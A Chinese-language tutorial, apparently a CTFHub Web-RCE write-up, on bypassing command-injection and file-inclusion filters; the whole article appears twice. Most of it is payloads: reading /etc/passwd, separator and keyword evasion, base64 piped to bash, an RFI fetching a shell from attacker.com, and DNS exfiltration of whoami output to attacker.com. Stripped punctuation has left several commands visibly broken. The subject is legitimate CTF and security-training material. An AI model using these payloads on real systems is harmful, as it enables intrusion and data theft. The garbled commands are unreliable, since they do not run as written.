1. Web-RCE漏洞基础入门远程命令执行RCE是Web安全中最危险的漏洞之一攻击者能够直接在服务器上执行任意命令。我第一次接触RCE漏洞是在2015年参加某次CTF比赛时当时遇到一个简单的命令注入题目却因为对Linux命令不熟悉而束手无策。现在回想起来这些基础知识点确实是每个安全研究人员必须掌握的。RCE漏洞主要分为两种类型代码执行和命令执行。代码执行通常发生在使用eval()、assert()等危险函数的场景比如PHP中的eval($_GET[cmd])就是典型例子。而命令执行则常见于系统命令调用函数如PHP的system()、exec()Python的os.system()等。在实际CTF比赛中这两种漏洞经常交替出现需要灵活应对。理解RCE漏洞的关键在于掌握注入点的概念。就像注射器需要找到血管才能输液一样我们需要找到应用程序中能够插入恶意代码的位置。常见的注入点包括URL参数如?cmdwhoamiHTTP请求头如User-Agent、Cookie文件上传功能表单输入字段我曾在一个实际案例中发现某电商网站的商品搜索功能直接将用户输入拼接到系统命令中执行形成了典型的命令注入漏洞。攻击者可以通过构造特殊字符如分号、管道符来截断原有命令注入恶意指令。这种漏洞的危害性极大可能导致整个服务器沦陷。2. 基础绕过技巧实战2.1 命令注入的多种姿势命令注入是最直接的RCE攻击方式。记得我第一次成功利用命令注入时那种兴奋感至今难忘。当时题目是一个简单的ping测试页面我尝试输入127.0.0.1; ls竟然真的返回了目录列表Linux系统中有多种命令连接方式每种都有不同的特性分号;无论前一个命令是否成功都会执行后面的命令ping 127.0.0.1; whoami # 先执行ping再执行whoami与符号只有前一个命令成功才会执行后面的命令ping -c 1 127.0.0.1 cat /etc/passwd # 只有ping成功才会读取密码文件管道符|将前一个命令的输出作为后一个命令的输入cat /etc/passwd | grep root # 在密码文件中查找root用户在实际渗透测试中我经常遇到过滤了某些特殊字符的情况。这时候就需要发挥创造力了。比如当分号被过滤时可以尝试使用换行符%0a或者反引号来执行命令127.0.0.1%0aid # 使用URL编码的换行符 whoami # 使用反引号执行命令2.2 文件包含的艺术文件包含漏洞是另一个常见的RCE入口点。去年我在审计某开源CMS时就发现了一个经典的本地文件包含漏洞。开发者使用include($_GET[page]..php)的方式加载页面却未对输入进行严格过滤导致可以通过路径遍历读取系统任意文件。PHP中常见的文件包含方式有本地文件包含LFI?page../../../../etc/passwd远程文件包含RFI?pagehttp://attacker.com/shell.txt当遇到包含限制时php://filter协议是个强大的武器。我记得有次比赛题目限制了文件后缀我使用以下payload成功读取了源码?filephp://filter/convert.base64-encode/resourceindex.php这样就能获取到经过base64编码的源代码解码后即可分析其中的敏感信息。3. 高级过滤绕过技巧3.1 关键字过滤的绕过随着安全意识的提高很多系统开始过滤危险关键字如cat、flag等。这时候就需要一些奇技淫巧了。我在某次实战中遇到过过滤了cat命令的情况最终通过以下方法成功绕过使用反斜杠转义c\at /etc/passwd使用单引号或双引号cat /etc/passwd使用变量替换ac;bat;$a$b /etc/passwd使用其他读取命令more /etc/passwd less /etc/passwd head /etc/passwd tail /etc/passwd对于flag关键词的过滤可以使用通配符或者环境变量来绕过cat fla* # 使用通配符 cat fla${x}g # 使用变量插入3.2 特殊字符的替代方案空格和斜杠是最常被过滤的字符但总有办法绕过。记得有次比赛同时过滤了空格和斜杠我花了两个小时才找到解决方案空格替代方案cat/etc/passwd # 使用重定向符号 cat${IFS}/etc/passwd # 使用内部字段分隔符 X$\x20;cat$X/etc/passwd # 使用十六进制编码斜杠替代方案cat /etc/passwd # 正常情况 cat $(echo . | tr !-/ -1)etc/passwd # 使用tr命令转换在极端情况下甚至可以通过编码转换来绕过过滤。比如将命令转换为base64后执行echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash # 执行cat /etc/passwd4. 综合实战案例分析4.1 多层过滤的突破去年遇到的一个真实案例让我印象深刻。目标系统同时过滤了所有常见命令cat、ls、whoami等特殊字符;、、|等空格和斜杠经过多次尝试最终通过组合多种技巧成功突破使用printf构造命令$(printf \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64)这串十六进制解码后就是cat /etc/passwd利用环境变量和通配符ac;bat;$a$b /???/p???wd通过DNS查询外带数据ping $(whoami).attacker.com然后在DNS服务器上查看子域名记录4.2 CTFHub典型题目解析以CTFHub上的综合过滤练习为例题目过滤了所有常见分隔符;、、|空格关键词cat、flag等解题步骤如下使用%0a作为命令分隔符127.0.0.1%0als使用${IFS}替代空格127.0.0.1%0acd${IFS}fl*_is_here使用通配符和base64绕过关键词过滤127.0.0.1%0abase64${IFS}fl*_*解码获取flagecho ZmxhZ3t0aGlzX2lzX2ZsYWd9 | base64 -d在实际渗透测试中我养成了记录各种绕过方法的习惯。建议新手可以建立一个自己的绕过技巧库遇到不同场景时就能快速找到合适的解决方案。记住Web安全是一场攻防对抗的持久战只有不断学习和实践才能在这个领域走得更远。
CTFHub技能树 Web-RCE 实战绕过技巧全解析
1. Web-RCE漏洞基础入门远程命令执行RCE是Web安全中最危险的漏洞之一攻击者能够直接在服务器上执行任意命令。我第一次接触RCE漏洞是在2015年参加某次CTF比赛时当时遇到一个简单的命令注入题目却因为对Linux命令不熟悉而束手无策。现在回想起来这些基础知识点确实是每个安全研究人员必须掌握的。RCE漏洞主要分为两种类型代码执行和命令执行。代码执行通常发生在使用eval()、assert()等危险函数的场景比如PHP中的eval($_GET[cmd])就是典型例子。而命令执行则常见于系统命令调用函数如PHP的system()、exec()Python的os.system()等。在实际CTF比赛中这两种漏洞经常交替出现需要灵活应对。理解RCE漏洞的关键在于掌握注入点的概念。就像注射器需要找到血管才能输液一样我们需要找到应用程序中能够插入恶意代码的位置。常见的注入点包括URL参数如?cmdwhoamiHTTP请求头如User-Agent、Cookie文件上传功能表单输入字段我曾在一个实际案例中发现某电商网站的商品搜索功能直接将用户输入拼接到系统命令中执行形成了典型的命令注入漏洞。攻击者可以通过构造特殊字符如分号、管道符来截断原有命令注入恶意指令。这种漏洞的危害性极大可能导致整个服务器沦陷。2. 基础绕过技巧实战2.1 命令注入的多种姿势命令注入是最直接的RCE攻击方式。记得我第一次成功利用命令注入时那种兴奋感至今难忘。当时题目是一个简单的ping测试页面我尝试输入127.0.0.1; ls竟然真的返回了目录列表Linux系统中有多种命令连接方式每种都有不同的特性分号;无论前一个命令是否成功都会执行后面的命令ping 127.0.0.1; whoami # 先执行ping再执行whoami与符号只有前一个命令成功才会执行后面的命令ping -c 1 127.0.0.1 cat /etc/passwd # 只有ping成功才会读取密码文件管道符|将前一个命令的输出作为后一个命令的输入cat /etc/passwd | grep root # 在密码文件中查找root用户在实际渗透测试中我经常遇到过滤了某些特殊字符的情况。这时候就需要发挥创造力了。比如当分号被过滤时可以尝试使用换行符%0a或者反引号来执行命令127.0.0.1%0aid # 使用URL编码的换行符 whoami # 使用反引号执行命令2.2 文件包含的艺术文件包含漏洞是另一个常见的RCE入口点。去年我在审计某开源CMS时就发现了一个经典的本地文件包含漏洞。开发者使用include($_GET[page]..php)的方式加载页面却未对输入进行严格过滤导致可以通过路径遍历读取系统任意文件。PHP中常见的文件包含方式有本地文件包含LFI?page../../../../etc/passwd远程文件包含RFI?pagehttp://attacker.com/shell.txt当遇到包含限制时php://filter协议是个强大的武器。我记得有次比赛题目限制了文件后缀我使用以下payload成功读取了源码?filephp://filter/convert.base64-encode/resourceindex.php这样就能获取到经过base64编码的源代码解码后即可分析其中的敏感信息。3. 高级过滤绕过技巧3.1 关键字过滤的绕过随着安全意识的提高很多系统开始过滤危险关键字如cat、flag等。这时候就需要一些奇技淫巧了。我在某次实战中遇到过过滤了cat命令的情况最终通过以下方法成功绕过使用反斜杠转义c\at /etc/passwd使用单引号或双引号cat /etc/passwd使用变量替换ac;bat;$a$b /etc/passwd使用其他读取命令more /etc/passwd less /etc/passwd head /etc/passwd tail /etc/passwd对于flag关键词的过滤可以使用通配符或者环境变量来绕过cat fla* # 使用通配符 cat fla${x}g # 使用变量插入3.2 特殊字符的替代方案空格和斜杠是最常被过滤的字符但总有办法绕过。记得有次比赛同时过滤了空格和斜杠我花了两个小时才找到解决方案空格替代方案cat/etc/passwd # 使用重定向符号 cat${IFS}/etc/passwd # 使用内部字段分隔符 X$\x20;cat$X/etc/passwd # 使用十六进制编码斜杠替代方案cat /etc/passwd # 正常情况 cat $(echo . | tr !-/ -1)etc/passwd # 使用tr命令转换在极端情况下甚至可以通过编码转换来绕过过滤。比如将命令转换为base64后执行echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash # 执行cat /etc/passwd4. 综合实战案例分析4.1 多层过滤的突破去年遇到的一个真实案例让我印象深刻。目标系统同时过滤了所有常见命令cat、ls、whoami等特殊字符;、、|等空格和斜杠经过多次尝试最终通过组合多种技巧成功突破使用printf构造命令$(printf \x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64)这串十六进制解码后就是cat /etc/passwd利用环境变量和通配符ac;bat;$a$b /???/p???wd通过DNS查询外带数据ping $(whoami).attacker.com然后在DNS服务器上查看子域名记录4.2 CTFHub典型题目解析以CTFHub上的综合过滤练习为例题目过滤了所有常见分隔符;、、|空格关键词cat、flag等解题步骤如下使用%0a作为命令分隔符127.0.0.1%0als使用${IFS}替代空格127.0.0.1%0acd${IFS}fl*_is_here使用通配符和base64绕过关键词过滤127.0.0.1%0abase64${IFS}fl*_*解码获取flagecho ZmxhZ3t0aGlzX2lzX2ZsYWd9 | base64 -d在实际渗透测试中我养成了记录各种绕过方法的习惯。建议新手可以建立一个自己的绕过技巧库遇到不同场景时就能快速找到合适的解决方案。记住Web安全是一场攻防对抗的持久战只有不断学习和实践才能在这个领域走得更远。